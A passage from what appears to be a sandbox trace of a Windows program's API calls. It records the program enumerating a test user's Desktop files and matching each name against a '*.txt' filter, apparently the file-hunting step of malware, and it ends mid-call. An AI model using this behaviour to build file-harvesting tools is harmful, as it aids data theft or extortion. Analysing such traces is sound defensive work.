WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tzzsZtkMBK_y-2gskd.rtf", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0099.492] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x36) returned 0x2110560 [0099.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tzzsZtkMBK_y-2gskd.rtf", cchWideChar=54, lpMultiByteStr=0x2110560, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tzzsZtkMBK_y-2gskd.rtf", lpUsedDefaultChar=0x0) returned 54 [0099.493] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112b70 [0099.493] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110560 | out: hHeap=0x2110000) returned 1 [0099.493] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.493] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.493] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113060 [0099.493] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2113060, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.493] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113060 | out: hHeap=0x2110000) returned 1 [0099.493] PathMatchSpecW (pszFile="tzzsZtkMBK_y-2gskd.rtf", pszSpec="*.txt") returned 0 [0099.493] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112b70 | out: hHeap=0x2110000) returned 1 [0099.493] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19e7d2f0, ftCreationTime.dwHighDateTime=0x1d7a3aa, ftLastAccessTime.dwLowDateTime=0x28e0f540, ftLastAccessTime.dwHighDateTime=0x1d7aaab, ftLastWriteTime.dwLowDateTime=0x28e0f540, ftLastWriteTime.dwHighDateTime=0x1d7aaab, nFileSizeHigh=0x0, nFileSizeLow=0x11cf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TZ_q-uezvWtW997Slkqq.png", cAlternateFileName="TZ_Q-U~1.PNG")) returned 1 [0099.493] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.493] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.493] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="TZ_q-uezvWtW997Slkqq.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\TZ_q-uezvWtW997Slkqq.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\TZ_q-uezvWtW997Slkqq.png" [0099.493] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.493] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.493] lstrcatW (in: lpString1="\\", lpString2="TZ_q-uezvWtW997Slkqq.png" | out: lpString1="\\TZ_q-uezvWtW997Slkqq.png") returned="\\TZ_q-uezvWtW997Slkqq.png" [0099.493] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104e8 [0099.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\TZ_q-uezvWtW997Slkqq.png", cchWideChar=56, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 56 [0099.493] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x38) returned 0x2110560 [0099.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\TZ_q-uezvWtW997Slkqq.png", cchWideChar=56, lpMultiByteStr=0x2110560, cbMultiByte=56, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\TZ_q-uezvWtW997Slkqq.png", lpUsedDefaultChar=0x0) returned 56 [0099.493] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112c48 [0099.493] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110560 | out: hHeap=0x2110000) returned 1 [0099.493] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.493] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.494] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113048 [0099.494] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2113048, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.494] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113048 | out: hHeap=0x2110000) returned 1 [0099.494] PathMatchSpecW (pszFile="TZ_q-uezvWtW997Slkqq.png", pszSpec="*.txt") returned 0 [0099.494] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112c48 | out: hHeap=0x2110000) returned 1 [0099.494] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78c68a30, ftCreationTime.dwHighDateTime=0x1d7a00f, ftLastAccessTime.dwLowDateTime=0xe3c3b1a0, ftLastAccessTime.dwHighDateTime=0x1d7af4b, ftLastWriteTime.dwLowDateTime=0xe3c3b1a0, ftLastWriteTime.dwHighDateTime=0x1d7af4b, nFileSizeHigh=0x0, nFileSizeLow=0xb94f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unrrn7hms.png", cAlternateFileName="UNRRN7~1.PNG")) returned 1 [0099.494] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.494] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.494] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="Unrrn7hms.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Unrrn7hms.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Unrrn7hms.png" [0099.494] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.494] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.494] lstrcatW (in: lpString1="\\", lpString2="Unrrn7hms.png" | out: lpString1="\\Unrrn7hms.png") returned="\\Unrrn7hms.png" [0099.494] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104e8 [0099.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Unrrn7hms.png", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0099.494] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2d) returned 0x2110550 [0099.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Unrrn7hms.png", cchWideChar=45, lpMultiByteStr=0x2110550, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Unrrn7hms.png", lpUsedDefaultChar=0x0) returned 45 [0099.494] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.494] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110550 | out: hHeap=0x2110000) returned 1 [0099.494] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.494] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.494] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2112f88 [0099.494] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2112f88, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.494] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112f88 | out: hHeap=0x2110000) returned 1 [0099.494] PathMatchSpecW (pszFile="Unrrn7hms.png", pszSpec="*.txt") returned 0 [0099.494] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.494] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc7a12c0, ftCreationTime.dwHighDateTime=0x1d7af93, ftLastAccessTime.dwLowDateTime=0x6d11cbe0, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x6d11cbe0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x18c54, dwReserved0=0x0, dwReserved1=0x0, cFileName="V9oJDYviCbk0.jpg", cAlternateFileName="V9OJDY~1.JPG")) returned 1 [0099.494] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.494] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.494] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="V9oJDYviCbk0.jpg" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\V9oJDYviCbk0.jpg") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\V9oJDYviCbk0.jpg" [0099.495] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.495] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.495] lstrcatW (in: lpString1="\\", lpString2="V9oJDYviCbk0.jpg" | out: lpString1="\\V9oJDYviCbk0.jpg") returned="\\V9oJDYviCbk0.jpg" [0099.495] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104e8 [0099.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\V9oJDYviCbk0.jpg", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0099.495] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110550 [0099.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\V9oJDYviCbk0.jpg", cchWideChar=48, lpMultiByteStr=0x2110550, cbMultiByte=48, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\V9oJDYviCbk0.jpg", lpUsedDefaultChar=0x0) returned 48 [0099.495] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.495] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110550 | out: hHeap=0x2110000) returned 1 [0099.495] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.495] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.495] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2112fe8 [0099.495] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2112fe8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.495] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112fe8 | out: hHeap=0x2110000) returned 1 [0099.495] PathMatchSpecW (pszFile="V9oJDYviCbk0.jpg", pszSpec="*.txt") returned 0 [0099.495] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.495] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c6db240, ftCreationTime.dwHighDateTime=0x1d7a31a, ftLastAccessTime.dwLowDateTime=0x777c4940, ftLastAccessTime.dwHighDateTime=0x1d7a428, ftLastWriteTime.dwLowDateTime=0x777c4940, ftLastWriteTime.dwHighDateTime=0x1d7a428, nFileSizeHigh=0x0, nFileSizeLow=0x121cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="w1JAUmkNtF5.odp", cAlternateFileName="W1JAUM~1.ODP")) returned 1 [0099.495] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.495] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.495] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="w1JAUmkNtF5.odp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\w1JAUmkNtF5.odp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\w1JAUmkNtF5.odp" [0099.495] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.495] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.495] lstrcatW (in: lpString1="\\", lpString2="w1JAUmkNtF5.odp" | out: lpString1="\\w1JAUmkNtF5.odp") returned="\\w1JAUmkNtF5.odp" [0099.495] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104e8 [0099.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\w1JAUmkNtF5.odp", cchWideChar=47, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0099.495] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2f) returned 0x2110550 [0099.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\w1JAUmkNtF5.odp", cchWideChar=47, lpMultiByteStr=0x2110550, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\w1JAUmkNtF5.odp", lpUsedDefaultChar=0x0) returned 47 [0099.496] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.496] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110550 | out: hHeap=0x2110000) returned 1 [0099.496] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.496] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.496] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113120 [0099.496] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2113120, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.496] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113120 | out: hHeap=0x2110000) returned 1 [0099.496] PathMatchSpecW (pszFile="w1JAUmkNtF5.odp", pszSpec="*.txt") returned 0 [0099.496] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.496] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33063f70, ftCreationTime.dwHighDateTime=0x1d7a516, ftLastAccessTime.dwLowDateTime=0xf1bf05d0, ftLastAccessTime.dwHighDateTime=0x1d7acf2, ftLastWriteTime.dwLowDateTime=0xf1bf05d0, ftLastWriteTime.dwHighDateTime=0x1d7acf2, nFileSizeHigh=0x0, nFileSizeLow=0x7647, dwReserved0=0x0, dwReserved1=0x0, cFileName="WiMEj.doc", cAlternateFileName="")) returned 1 [0099.496] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.496] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.496] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="WiMEj.doc" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\WiMEj.doc") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\WiMEj.doc" [0099.496] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.496] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.496] lstrcatW (in: lpString1="\\", lpString2="WiMEj.doc" | out: lpString1="\\WiMEj.doc") returned="\\WiMEj.doc" [0099.496] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104e8 [0099.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\WiMEj.doc", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0099.496] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x29) returned 0x2110550 [0099.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\WiMEj.doc", cchWideChar=41, lpMultiByteStr=0x2110550, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\WiMEj.doc", lpUsedDefaultChar=0x0) returned 41 [0099.496] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.496] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110550 | out: hHeap=0x2110000) returned 1 [0099.496] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.496] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.496] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2112fb8 [0099.496] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2112fb8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.496] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112fb8 | out: hHeap=0x2110000) returned 1 [0099.497] PathMatchSpecW (pszFile="WiMEj.doc", pszSpec="*.txt") returned 0 [0099.497] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.497] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x764c2580, ftCreationTime.dwHighDateTime=0x1d7a93d, ftLastAccessTime.dwLowDateTime=0x24c3460, ftLastAccessTime.dwHighDateTime=0x1d7aada, ftLastWriteTime.dwLowDateTime=0x24c3460, ftLastWriteTime.dwHighDateTime=0x1d7aada, nFileSizeHigh=0x0, nFileSizeLow=0x2c91, dwReserved0=0x0, dwReserved1=0x0, cFileName="z0fYM8SfWqHwA 3.xls", cAlternateFileName="Z0FYM8~1.XLS")) returned 1 [0099.497] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.497] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.497] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="z0fYM8SfWqHwA 3.xls" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\z0fYM8SfWqHwA 3.xls") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\z0fYM8SfWqHwA 3.xls" [0099.497] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.497] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.497] lstrcatW (in: lpString1="\\", lpString2="z0fYM8SfWqHwA 3.xls" | out: lpString1="\\z0fYM8SfWqHwA 3.xls") returned="\\z0fYM8SfWqHwA 3.xls" [0099.497] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104e8 [0099.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\z0fYM8SfWqHwA 3.xls", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0099.497] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x33) returned 0x2110560 [0099.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\z0fYM8SfWqHwA 3.xls", cchWideChar=51, lpMultiByteStr=0x2110560, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\z0fYM8SfWqHwA 3.xls", lpUsedDefaultChar=0x0) returned 51 [0099.497] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112ed0 [0099.497] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110560 | out: hHeap=0x2110000) returned 1 [0099.497] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.497] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.497] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113000 [0099.497] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2113000, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.497] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113000 | out: hHeap=0x2110000) returned 1 [0099.497] PathMatchSpecW (pszFile="z0fYM8SfWqHwA 3.xls", pszSpec="*.txt") returned 0 [0099.497] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112ed0 | out: hHeap=0x2110000) returned 1 [0099.497] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd527b80, ftCreationTime.dwHighDateTime=0x1d7a623, ftLastAccessTime.dwLowDateTime=0x61bc5430, ftLastAccessTime.dwHighDateTime=0x1d7a755, ftLastWriteTime.dwLowDateTime=0x61bc5430, ftLastWriteTime.dwHighDateTime=0x1d7a755, nFileSizeHigh=0x0, nFileSizeLow=0xc942, dwReserved0=0x0, dwReserved1=0x0, cFileName="Zl8tQFh7Qv.mkv", cAlternateFileName="ZL8TQF~1.MKV")) returned 1 [0099.497] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.497] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.498] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="Zl8tQFh7Qv.mkv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Zl8tQFh7Qv.mkv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Zl8tQFh7Qv.mkv" [0099.498] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.498] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.498] lstrcatW (in: lpString1="\\", lpString2="Zl8tQFh7Qv.mkv" | out: lpString1="\\Zl8tQFh7Qv.mkv") returned="\\Zl8tQFh7Qv.mkv" [0099.498] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104e8 [0099.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 